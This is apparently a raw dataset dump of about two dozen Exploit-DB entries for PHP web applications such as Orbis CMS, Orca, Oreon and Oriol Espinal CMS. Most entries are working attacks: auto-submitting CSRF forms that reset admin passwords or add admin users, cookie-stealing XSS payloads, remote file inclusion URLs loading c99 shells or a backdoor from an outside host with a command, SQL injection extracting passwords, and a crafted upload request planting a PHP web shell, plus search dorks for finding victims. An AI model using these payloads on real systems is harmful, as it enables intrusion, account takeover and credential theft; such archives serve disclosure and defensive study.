deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14333
Description: Orbis CMS 1.0.2 - Multiple Cross-Site Request Forgery Vulnerabilities
Type: webapps
Platform: php
Date: 2010-07-11
Author: 10n1z3d

Exploit:
<!---
    Title: Orbis CMS 1.0.2 Multiple CSRF Vulnerabilities
    Author: 10n1z3d <10n1z3d[at]w[dot]cn>
    Date: Sun 11 Jul 2010 08:08:10 PM EEST 
    Vendor: http://www.novo-ws.com/orbis-cms/
    Download: http://www.ohloh.net/p/orbis-cms/download?filename=orbis-1.0.2.zip
--->

-=[ CSRF PoC 1 - Change Admin Password ]=-

    <html>
        <head>
            <title>Orbis CMS 1.0.2 Multiple CSRF Vulnerabilities - Change Admin Password</title>
        </head>
        <body onload="document.csrf.submit();">
            <form name="csrf" action="http://[domain]/admin/admin_users_update.php" method="get">
                <!--- Edit these --->
                <input type="hidden" name="euserp" value="rootroot" />
                <input type="hidden" name="eusere" value="root@root.com" />
                <!--- Do not edit below --->
                <input type="hidden" name="eusern" value="1" />
                <input type="hidden" name="eusert" value="2" />
            </form>
        </body>
    </html>
    
-=[ CSRF PoC 2 - Create Admin User ]=-

    <html>
        <head>
            <title>Orbis CMS 1.0.2 Multiple CSRF Vulnerabilities - Create Admin User</title>
        </head>
        <body onload="document.csrf.submit();">
            <form name="csrf" action="http://[domain]/admin/admin_users_create.php" method="get">
                <!--- Edit these --->
                <input type="hidden" name="nusern" value="root" />
                <input type="hidden" name="nuserp" value="rootroot" />
                <input type="hidden" name="nusere" value="root@root.com" />
                <!--- Do not edit below --->
                <input type="hidden" name="nusert" value="2" />
                <input type="hidden" name="Submit" value="Create user" />
            </form>
        </body>
    </html>
   
-=[ CSRF PoC 3 - Delete User ]=-

    <img src="http://[domain]/admin/admin_users_delete.php?id=2" alt="Do you see this?" />
   
-=[ CSRF PoC 4 - Logout The Administrator ]=-

    <img src="http://[domain]/admin/login_end.php" alt="Do you see this?" />
   
<!---
    http://www.evilzone.org/
    irc.evilzone.org  (6697 / 9999)
--->
Exploit-DB #27789
Description: OrbitHYIP 2.0 - 'members.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-01
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17766/info
 
OrbitHYIP is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/members.php?login=r0t&p=pwd&func=useinvestplan&id=[XSS]
Exploit-DB #27788
Description: OrbitHYIP 2.0 - 'signup.php?referral' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-01
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17766/info

OrbitHYIP is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/signup.php?referral=[XSS]
Exploit-DB #7931
Description: Orca 2.0.2 - 'topic ' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-01-30
Author: J-Hacker

Exploit:
--------------------------------------------------------------------------\
[+]  Script : Orca-v.2.0.2
[+]  Bug: Xss
[+]  By: J-Hacker || Jerusalem Hacker || From : soqor.net
[+]  Email : M0t4z@hotmail.com
[+]  Download : http://www.boonex.com/thankyou.php?p=Orca-v.2.0
[+]  D0rk :Powered by Orca Interactive Forum Script. Copyright 2008 My Company
--------------------------------------------------------------------------
First you must login then write new topic
write in the topic
 "><script>alert(document.cookie)</script>
demo: http://www.demozzz.com/orca/demo/?action=goto&topic_id=test--2009-01-30#topic/-script-alert-document-cookie-script-.htm
--------------------------------------------------------------------------
[+] Greetz : HACKERS PAL , Sp1d3r_Net , Mr.5rab , Dr.CriMiNAL SyRiA , And All soqor.net members
[+] http://WwW.SoQoR.NeT
--------------------------------------------------------------------------/

# milw0rm.com [2009-01-30]
Exploit-DB #5955
Description: Orca 2.0/2.0.2 - 'params.php?gConf[dir][layouts]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-06-26
Author: Ciph3r

Exploit:
#####################################################################
#
# Orca - Interactive Forum Script Remote File Inclusion Vulnerability
#
#####################################################################
#
# Discovered by : Ciph3r
#
#
# MAIL : Ciph3r_blackhat@yahoo.com
#
#
# SP tanx4: Iranian hacker & Kurdish security TEAM
#
# sp TANX2: milw0rm.com & google.com & sourceforge.net
# 
# CMS download : http://sourceforge.net/project/platformdownload.php?group_id=183624    
#
# class : remote
#
# risk : high
#
# Dork : "Powered by Orca Interactive Forum Script"
#
#######################################################################
#
# C0de : 
#
#               
#    require_once ($gConf['dir']['layouts'] . 'base/params.php');
#
#
#######################################################################

 EXPLOIT :

 

 http://127.0.0.1/cms/Orca-2.0.beta2/layout/default/params.php?gConf[dir][layouts]=http://127.0.0.1/c99.php?


#######################################################################

# milw0rm.com [2008-06-26]
Exploit-DB #26657
Description: Orca Blog 1.3 - 'blog.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-29
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15638/info

Orca Blog is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Version 1.3b is vulnerable; other versions may also be affected. 

http://www.example.com/blog?msg=[SQL]
Exploit-DB #26588
Description: Orca Forum 4.3 - 'forum.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-24
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15565/info

Orca Forum is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/forum.php?msg=[SQL]
Exploit-DB #26656
Description: Orca KnowledgeBase 2.1 - 'KnowledgeBase.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-29
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15637/info

Orca Knowledgebase is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Version 2.1b is vulnerable; other versions may also be affected. 

http://www.example.com/knowledgebase?qid=[SQL]
Exploit-DB #26658
Description: Orca Ringmaker 2.3 - 'Ringmaker.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-29
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15639/info

Orca Ringmaker is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Version 2.3c is vulnerable; other versions may also be affected. 

http://www.example.com/ringmaker?start=[SQL]
Exploit-DB #36493
Description: Orchard 1.3.9 - 'ReturnUrl' Open Redirection
Type: webapps
Platform: php
Date: 2012-01-04
Author: Mesut Timur

Exploit:
source: https://www.securityfocus.com/bid/51260/info

Orchard is prone to a URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks; other attacks are possible.

Orchard 1.3.9 is vulnerable; other versions may be affected. 

http://www.example.com/orchard/Users/Account/LogOff?ReturnUrl=%2f%2fwww.netsparker.com%3f
Exploit-DB #18091
Description: OrderSys 1.6.4 - SQL Injection
Type: webapps
Platform: php
Date: 2011-11-07
Author: muuratsalo

Exploit:
	    ------------------------------------------------------------------------
	    OrderSys <= 1.6.4 Sql Injection Vulnerabilities
	    ------------------------------------------------------------------------
     
	    author............: muuratsalo (Revshell.com)
	    contact...........: muuratsalo[at]gmail[dot]com
	    download..........: http://www.bioinformatics.org/phplabware/labwiki/index.php
    
     
	    [0x01] Vulnerability overview:

	    All versions of OrderSys <= 1.6.4 are affected by Sql injection vulnerabilities.
	    A valid account could be required to exploit the vulnerabilities.
     
	    [0x02] Disclosure timeline:
     
	    [04/11/2011] - Multiple sql injection vulnerabilities discovered and reported to the vendor
	    [05/11/2011] - Multiple sql injection vulnerabilities fixed, OrderSys 1.6.4 released. 
            [05/11/2011] - OrderSys 1.6.4 is still vulnerable to some sql injection vulnerabilities.
	    [05/11/2011] - The vendor is currently working on fixing the reported issues.
	    [06/11/2011] - Public disclosure

	    [0x03] Proof of Concept:
              
            http://localhost/ordersys/ordering/interface_creator/index.php?table_name=vendor&function=search&where_clause=[SQL INJECTION]&page=0&order=Address&order_type=ASC
            http://localhost/ordersys/ordering/interface_creator/index_long.php?table_name=vendor&function=search&where_clause=[SQL INJECTION]&page=0&order=Address&order_type=ASC
            http://localhost/ordersys/ordering/interface_creator/index_short.php?table_name=vendor&function=search&where_clause=[SQL INJECTION]&page=0&order=Address&order_type=ASC
Exploit-DB #3150
Description: Oreon 1.2.3 RC4 - '/lang/index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-17
Author: 3l3ctric-Cracker

Exploit:
------------------------------------------------------------------------------------------------------------------------
Script:oreon-1.2.3-RC4
Downlaoad:http://www.oreon-project.org/
------------------------------------------------------------------------------------------------------------------------
Author:Dr Max Virus
------------------------------------------------------------------------------------------------------------------------
Bug in (lang/index.php)
Vul Code;
if (isset($_GET["file"])){
	include_once($_GET["file"]);
------------------------------------------------------------------------------------------------------------------------
POC:
http://[target]/[path]/lang/index.php?file=[Bad Code]
------------------------------------------------------------------------------------------------------------------------
Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends
Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk
------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-17]
Exploit-DB #4735
Description: Oreon 1.4 / Centreon 1.4.1 - Multiple Remote File Inclusion Vulnerabilities
Type: webapps
Platform: php
Date: 2007-12-14
Author: Michael Brooks

Exploit:
By Michael Brooks
Vulnerability Type: Multiple Remote File Inclusion.
Software: Oreon and Centreon
Homepage:http://www.oreon-project.org/  or http://www.centreon.com/
Versions: 1.4(Oreon) and 1.4.1(Centreon)

The vulnerable file is:
./oreon-1.4/www/include/monitoring/engine/MakeXML.php
Another,virtually identical RFI:
./oreon-1.4/www/include/monitoring/engine/MakeXML4statusCounter.php

The attack:
http://127.0.0.1/include/monitoring/engine/MakeXML.php?fileOreonConf=http://evilurl/backdoor.txt?
or
http://127.0.0.1/include/monitoring/engine/MakeXML4statusCounter.php?fileOreonConf=http://evilurl/backdoor.txt?

file MakeXML.php line 42 & 43:
	include_once($oreonPath . "www/oreon.conf.php");
	include_once($oreonPath . "www/include/common/common-Func-ACL.php");

Register_globals isn't needed for the taint:
file MakeXML.php line 28:
	if (isset($_GET["fileOreonConf"]))
		$oreonPath = $_GET["fileOreonConf"];

However magic_quotes_gpc is require for LFI because you need a null byte. 

Peace

# milw0rm.com [2007-12-14]
Exploit-DB #3894
Description: Original 0.11 - 'config.inc.php?x[1]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-10
Author: GoLd_M

Exploit:
# Original Version 0.11(config.inc.php) Remote File Inclusion Vulnerability
# D.Script: http://xanatos.glo.org.mx/bi/original-0.11.tar.bz2
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.Com/cc
# Exploit:[Path]/inc/config.inc.php?x[1]=Shell
# Greetz To: Tryag-Team ....**

# milw0rm.com [2007-05-10]
Exploit-DB #48546
Description: Oriol Espinal CMS 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2020-06-04
Author: TSAR

Exploit:
# Exploit Title: Oriol Espinal CMS 1.0 - 'id' SQL Injection
# Google Dork: inurl:/eotools_share/
# Date: 2020-06-03
# Exploit Author: TSAR
# Vendor Homepage: http://www.oriolespinal.es/eowd
# Software Link: http://www.oriolespinal.es/eotools
# Version: ALL VERSION UP TO LATEST
# Tested on: MACOS 10.11.2
# CVE : NOt YET

[1]########### SQl INJECTION ###########

Oriol Espinal CMS is brone to a remote sql injection vulnerability, the next exploit is applicable

http://victim.com/path/eotools_share/editar.php?id=-1%20/*!50000union*/%20/*!50000all*/%20/*!50000select*/%201,2,3,4,5,6,7,8,9,10--


[2]########### SQl INJECTION ###########




Oriol Espinal CMS is brone to a file upload vulnerability, the next exploit [using Burp Suite] is applicable:


POST /path/eotools_cms/app_gestor_archivos/upload2_iframe.php HTTP/1.1
Host: victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://victim.com/path/eotools_cms/app_gestor_archivos/upload1_iframe.php
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]919119556
Content-Length: 740
Connection: close
Cookie: PHPSESSID=e159f6c9e8a818251a4ff48d47ab3df3; acopendivids=cortina2; acgroupswithpersist=nada

----------------------------[PII_REDACTED][PII_REDACTED]919119556
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/png

PNG;
********************************/
********************************/
GIF89a;
********************/
********************/<?php $_GET[d]($_GET[dd]); ?>
----------------------------[PII_REDACTED][PII_REDACTED]919119556
Content-Disposition: form-data; name="categoria"

pdfs
----------------------------[PII_REDACTED][PII_REDACTED]919119556
Content-Disposition: form-data; name="descripcion"

123
----------------------------[PII_REDACTED][PII_REDACTED]919119556
Content-Disposition: form-data; name="submit"

upload
----------------------------[PII_REDACTED][PII_REDACTED]919119556--


the shell path is:

http://victim.com/path/eotools_files/files/shell.php


==========================================================

==========================================================

Greetz To : @zigo0o - Alnjm33 - ShoOt3r - red virus - pRedAtOr - Elkatrez Elmodamer - Egy-sn!p3r
				[ALL MUSLIM AND ARAB HACKERS]

==========================================================
Exploit-DB #38413
Description: OrionDB Web Directory - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2013-03-27
Author: 3spi0n

Exploit:
source: https://www.securityfocus.com/bid/58720/info

OrionDB Web Directory is prone to multiple cross-site scripting vulnerabilities because it fails to sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/wd-demo/index.php?c=<script >prompt(35)</script>
http://www.example.com/wd-demo/index.php?c=search&category=Food&searchtext=1</title><h1>3spi0n</h1><script >prompt(35)</script>
Exploit-DB #27064
Description: Orjinweb - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-01-10
Author: serxwebun

Exploit:
source: https://www.securityfocus.com/bid/16199/info

Orjinweb is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/?page=http://www.example.com/evilcode.txt?&cmd=uname -a
Exploit-DB #32637
Description: Orkut Clone - 'profile_social.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-12-02
Author: d3b4g

Exploit:
source: https://www.securityfocus.com/bid/32600/info
 
Orkut Clone is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/profile_social.php?id=%3E%22%3E%3CScRiPt%20%0A%0D%3Ealert(0000)%3B%3C/ScRiPt%3E
Exploit-DB #32636
Description: Orkut Clone - 'profile_social.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2008-12-02
Author: d3b4g

Exploit:
source: https://www.securityfocus.com/bid/32600/info

Orkut Clone is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/orkutclone/profile_social.php?id=[sql query]
Exploit-DB #5864
Description: Orlando CMS 0.6 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-06-19
Author: Ciph3r

Exploit:
###############################################################
#
# Orlando CMS classes Remote File Include Vulnerabilities
#
###############################################################
#
# Discovered by : Ciph3r
#
#
# MAIL : Ciph3r_blackhat@yahoo.com
#
#
# SP TANX4 : Iranian hacker & Kurdish Security TEAM
#
#
# CLASS : remote
#
# download cms: http://sourceforge.net/project/showfiles.php?group_id=195547
#
################################################################
#
# C0de :
#               
#               
#  include($GLOBALS['preloc']."modules/core/logger/sticky.php");
#     
#       
###############################################################

EXPLOIT :

http://127.0.0.1/cms/Orlando/modules/core/logger/init.php?GLOBALS[preloc]=http://127.0.0.1/c99.php?

http://127.0.0.1/cms/Orlando/AJAX/newscat.php?GLOBALS[preloc]=http://127.0.0.1/c99.php?

#####################################################################

# milw0rm.com [2008-06-19]
Exploit-DB #34624
Description: OroCRM - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-09-11
Author: Provensec

Exploit:
# Affected software: OroCRM is an easy-to-use, open source CRM with built in marketing automation tools for your commerce business. It's the CRM built for both sales and marketing!
# Discovered by: Provensec
# Website: http://www.provensec.com
# Author: Provensec Labs
# Type of vulnerability: XSS Stored
# Description:

1 Goto http://server add a new lead fill all the fields properly but Fill the email filed with xss payload  as given in the screenshot
http://prntscr.com/4lf043 

payload used "><img src=d onerror=confirm(/provensec/);>

2 click save and close button

http://prntscr.com/4lf0ej
Exploit-DB #13948
Description: OroHYIP - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-20
Author: L0rd CrusAd3r

Exploit:
1               ##########################################             1
0               I'm L0rd CrusAd3r member from Inj3ct0r Team            1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:OroHYIP SQL Vulnerable
Vendor url:http://www.tomacero.com/products.php
Version:1	
Price:95$
Published: 2010-06-21
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat.
Special Greetz: Topsecure.net, inj3ct0r Team
Shoutzz:- To all ICW members

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

OroHYIP will help anyone manage their employees or any other expenses a company may have. Features: -hourly payment programs -cutting edge RIA DHTML user interface -professional looking templates (with flash) Code: PHP 4.0 

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQLi Vulnerability

DEMO URL:

http://server/withdraw_money.php?a=cancel&id=[sqli]



# 0day n0 m0re #
# L0rd CrusAd3r #
Exploit-DB #32816
Description: Orooj CMS - 'news.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-02-25
Author: Cru3l.b0y

Exploit:
source: https://www.securityfocus.com/bid/33908/info

Orooj CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/news.php?nid=-1+union+select+1,2,3,4,5,concat(sm_username,char(58),sm_password),7,8,9+from+tbl_site_member